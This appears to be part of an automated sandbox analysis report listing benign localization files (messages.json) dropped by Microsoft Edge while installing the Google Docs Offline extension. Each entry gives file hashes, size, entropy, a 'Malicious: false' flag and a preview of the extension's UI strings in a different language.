Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
